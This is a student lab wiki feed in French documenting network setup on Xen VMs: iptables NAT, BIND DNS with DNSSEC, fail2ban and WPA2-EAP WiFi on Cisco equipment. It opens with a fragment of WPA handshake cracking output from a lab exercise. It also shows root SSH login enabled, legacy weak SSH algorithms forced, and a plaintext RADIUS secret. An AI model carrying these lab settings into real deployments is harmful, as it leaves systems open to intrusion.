      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se &#039;&#039;&#039;ssh sur le routeur&#039;&#039;&#039; via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Création du Vlan24&#039;&#039;&#039; avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le &#039;&#039;&#039;vlan&#039;&#039;&#039; que nous venons de créer ainsi que le &#039;&#039;&#039;VRRP&#039;&#039;&#039; j&#039;ai fait ceci : (&#039;&#039;&#039;/!\&#039;&#039;&#039; l&#039;adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d&#039;éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie &#039;&#039;&#039;wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre &#039;&#039;&#039;point d&#039;accès wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès, &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12351</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12351"/>
		<updated>2026-02-23T10:10:41Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir &#039;&#039;&#039;vérifier&#039;&#039;&#039; le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
